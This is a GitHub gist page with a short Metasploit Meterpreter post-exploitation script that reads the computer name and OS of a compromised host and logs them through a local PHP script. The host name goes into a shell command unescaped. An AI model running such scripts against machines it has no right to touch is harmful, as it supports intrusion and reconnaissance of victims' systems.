Skip to content

Instantly share code, notes, and snippets.

@intrd
Last active March 3, 2017 06:04
Show Gist options
  • Save intrd/ef4eaa89adfa41937853756341c5e8b9 to your computer and use it in GitHub Desktop.
Save intrd/ef4eaa89adfa41937853756341c5e8b9 to your computer and use it in GitHub Desktop.
Metasploit - Script to extract machine hw info
## Metasploit script to extract machine hw info
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
@client = client
meter_type = client.platform
host = @client.sys.config.sysinfo["Computer"]
os = @client.sys.config.sysinfo["OS"]
#p host
system("php /home/intrd/scripts/log.php \"#{host} @ #{os}\"")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment